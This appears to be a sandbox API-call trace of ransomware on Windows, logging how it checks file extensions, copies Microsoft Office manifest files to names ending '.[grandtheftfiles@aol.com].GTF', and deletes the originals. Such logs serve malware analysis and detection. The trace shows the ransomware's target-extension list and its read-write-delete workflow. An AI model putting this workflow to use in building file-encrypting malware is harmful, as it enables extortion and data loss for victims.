	[0073.512] WriteFile (in: hFile=0x35c, lpBuffer=0x3f433b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d5fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f433b0*, lpNumberOfBytesWritten=0x2d5fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0073.513] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc74 | out: lpNewFilePointer=0x0) returned 1
	[0073.513] WriteFile (in: hFile=0x35c, lpBuffer=0x3f433b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d5fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f433b0*, lpNumberOfBytesWritten=0x2d5fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0073.519] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fc74 | out: lpNewFilePointer=0x0) returned 1
	[0073.519] WriteFile (in: hFile=0x35c, lpBuffer=0x3f433b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d5fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f433b0*, lpNumberOfBytesWritten=0x2d5fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0073.521] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0073.523] CloseHandle (hObject=0x35c) returned 1
	[0076.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0076.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0076.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0076.316] lstrlenW (lpString=".doc") returned 4
	[0076.316] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0076.316] lstrlenW (lpString=".docx") returned 5
	[0076.316] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0076.316] lstrlenW (lpString=".pdf") returned 4
	[0076.316] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0076.316] lstrlenW (lpString=".xls") returned 4
	[0076.316] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0076.317] lstrlenW (lpString=".xlsx") returned 5
	[0076.317] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0076.317] lstrlenW (lpString=".ppt") returned 4
	[0076.317] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0076.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0076.317] lstrlenW (lpString=".zip") returned 4
	[0076.317] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0076.317] lstrlenW (lpString=".rar") returned 4
	[0076.317] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0076.317] lstrlenW (lpString=".bz2") returned 4
	[0076.317] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0076.317] lstrlenW (lpString=".7z") returned 3
	[0076.317] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0076.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0076.317] lstrlenW (lpString=".dbf") returned 4
	[0076.317] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0076.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0076.317] lstrlenW (lpString=".1cd") returned 4
	[0076.317] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0076.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0076.317] lstrlenW (lpString=".jpg") returned 4
	[0076.317] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0076.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0076.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0076.317] lstrlenW (lpString=".doc") returned 4
	[0076.317] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0076.317] lstrlenW (lpString=".docx") returned 5
	[0076.317] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0076.317] lstrlenW (lpString=".pdf") returned 4
	[0076.317] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0076.317] lstrlenW (lpString=".xls") returned 4
	[0076.317] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0076.317] lstrlenW (lpString=".xlsx") returned 5
	[0076.317] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0076.317] lstrlenW (lpString=".ppt") returned 4
	[0076.317] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0076.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0076.318] lstrlenW (lpString=".zip") returned 4
	[0076.318] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0076.318] lstrlenW (lpString=".rar") returned 4
	[0076.318] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0076.318] lstrlenW (lpString=".bz2") returned 4
	[0076.318] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0076.318] lstrlenW (lpString=".7z") returned 3
	[0076.318] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0076.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0076.318] lstrlenW (lpString=".dbf") returned 4
	[0076.318] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0076.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0076.318] lstrlenW (lpString=".1cd") returned 4
	[0076.318] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0076.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0076.318] lstrlenW (lpString=".jpg") returned 4
	[0076.318] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0076.318] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0076.318] lstrlenW (lpString="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 53
	[0076.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0076.319] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=215883) returned 1
	[0076.319] CloseHandle (hObject=0x35c) returned 1
	[0076.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0076.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0076.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0076.319] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.319] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.324] GetLastError () returned 0x0
	[0076.324] ReadFile (in: hFile=0x35c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x34b4b, lpOverlapped=0x0) returned 1
	[0076.331] WriteFile (in: hFile=0x38c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x34b50, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x34b50, lpOverlapped=0x0) returned 1
	[0076.335] ReadFile (in: hFile=0x35c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.335] WriteFile (in: hFile=0x38c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0076.335] SetEndOfFile (hFile=0x38c) returned 1
	[0076.335] CloseHandle (hObject=0x38c) returned 1
	[0076.340] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.340] SetEndOfFile (hFile=0x35c) returned 1
	[0076.342] CloseHandle (hObject=0x35c) returned 1
	[0076.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0076.343] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 1
	[0076.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0076.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0076.343] lstrlenW (lpString=".doc") returned 4
	[0076.343] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0076.343] lstrlenW (lpString=".docx") returned 5
	[0076.343] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0076.343] lstrlenW (lpString=".pdf") returned 4
	[0076.343] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0076.343] lstrlenW (lpString=".xls") returned 4
	[0076.343] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0076.343] lstrlenW (lpString=".xlsx") returned 5
	[0076.343] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0076.343] lstrlenW (lpString=".ppt") returned 4
	[0076.343] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0076.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0076.343] lstrlenW (lpString=".zip") returned 4
	[0076.343] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0076.343] lstrlenW (lpString=".rar") returned 4
	[0076.343] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0076.343] lstrlenW (lpString=".bz2") returned 4
	[0076.344] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0076.344] lstrlenW (lpString=".7z") returned 3
	[0076.344] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0076.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0076.344] lstrlenW (lpString=".dbf") returned 4
	[0076.344] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0076.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0076.344] lstrlenW (lpString=".1cd") returned 4
	[0076.344] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0076.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0076.344] lstrlenW (lpString=".jpg") returned 4
	[0076.344] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0076.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0076.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0076.344] lstrlenW (lpString=".doc") returned 4
	[0076.344] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0076.344] lstrlenW (lpString=".docx") returned 5
	[0076.344] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0076.344] lstrlenW (lpString=".pdf") returned 4
	[0076.344] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0076.344] lstrlenW (lpString=".xls") returned 4
	[0076.344] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0076.344] lstrlenW (lpString=".xlsx") returned 5
	[0076.344] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0076.344] lstrlenW (lpString=".ppt") returned 4
	[0076.344] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0076.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0076.344] lstrlenW (lpString=".zip") returned 4
	[0076.344] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0076.344] lstrlenW (lpString=".rar") returned 4
	[0076.344] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0076.344] lstrlenW (lpString=".bz2") returned 4
	[0076.344] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0076.344] lstrlenW (lpString=".7z") returned 3
	[0076.344] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0076.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0076.344] lstrlenW (lpString=".dbf") returned 4
	[0076.345] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0076.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0076.345] lstrlenW (lpString=".1cd") returned 4
	[0076.345] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0076.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0076.345] lstrlenW (lpString=".jpg") returned 4
	[0076.345] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0076.345] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0076.345] lstrlenW (lpString="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 53
	[0076.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0076.347] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1261) returned 1
	[0076.347] CloseHandle (hObject=0x35c) returned 1
	[0076.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0076.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0076.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0076.347] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.347] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.348] GetLastError () returned 0x0
	[0076.348] ReadFile (in: hFile=0x35c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0076.349] WriteFile (in: hFile=0x38c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0076.350] ReadFile (in: hFile=0x35c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.350] WriteFile (in: hFile=0x38c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0076.350] SetEndOfFile (hFile=0x38c) returned 1
	[0076.351] CloseHandle (hObject=0x38c) returned 1
	[0076.352] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.352] SetEndOfFile (hFile=0x35c) returned 1
	[0076.352] CloseHandle (hObject=0x35c) returned 1
	[0076.353] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0076.353] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-002c-0409-1000-0000000ff1ce.xml")) returned 1
	[0076.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0076.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0076.353] lstrlenW (lpString=".doc") returned 4
	[0076.353] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0076.353] lstrlenW (lpString=".docx") returned 5
	[0076.353] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0076.353] lstrlenW (lpString=".pdf") returned 4
	[0076.353] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0076.353] lstrlenW (lpString=".xls") returned 4
	[0076.353] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0076.353] lstrlenW (lpString=".xlsx") returned 5
	[0076.353] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0076.353] lstrlenW (lpString=".ppt") returned 4
	[0076.353] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0076.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0076.354] lstrlenW (lpString=".zip") returned 4
	[0076.354] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0076.354] lstrlenW (lpString=".rar") returned 4
	[0076.354] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0076.354] lstrlenW (lpString=".bz2") returned 4
	[0076.354] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0076.354] lstrlenW (lpString=".7z") returned 3
	[0076.354] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0076.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0076.354] lstrlenW (lpString=".dbf") returned 4
	[0076.354] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0076.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0076.354] lstrlenW (lpString=".1cd") returned 4
	[0076.354] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0076.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0076.354] lstrlenW (lpString=".jpg") returned 4
	[0076.354] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0076.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0076.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0076.354] lstrlenW (lpString=".doc") returned 4
	[0076.354] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0076.354] lstrlenW (lpString=".docx") returned 5
	[0076.354] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0076.354] lstrlenW (lpString=".pdf") returned 4
	[0076.354] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0076.354] lstrlenW (lpString=".xls") returned 4
	[0076.354] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0076.354] lstrlenW (lpString=".xlsx") returned 5
	[0076.354] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0076.354] lstrlenW (lpString=".ppt") returned 4
	[0076.354] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0076.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0076.354] lstrlenW (lpString=".zip") returned 4
	[0076.354] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0076.354] lstrlenW (lpString=".rar") returned 4
	[0076.354] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0076.355] lstrlenW (lpString=".bz2") returned 4
	[0076.355] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0076.355] lstrlenW (lpString=".7z") returned 3
	[0076.355] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0076.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0076.355] lstrlenW (lpString=".dbf") returned 4
	[0076.355] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0076.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0076.355] lstrlenW (lpString=".1cd") returned 4
	[0076.355] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0076.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0076.355] lstrlenW (lpString=".jpg") returned 4
	[0076.355] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0076.355] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0076.355] lstrlenW (lpString="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 53
	[0076.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0077.477] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1261) returned 1
	[0077.477] CloseHandle (hObject=0x390) returned 1
	[0077.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0077.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
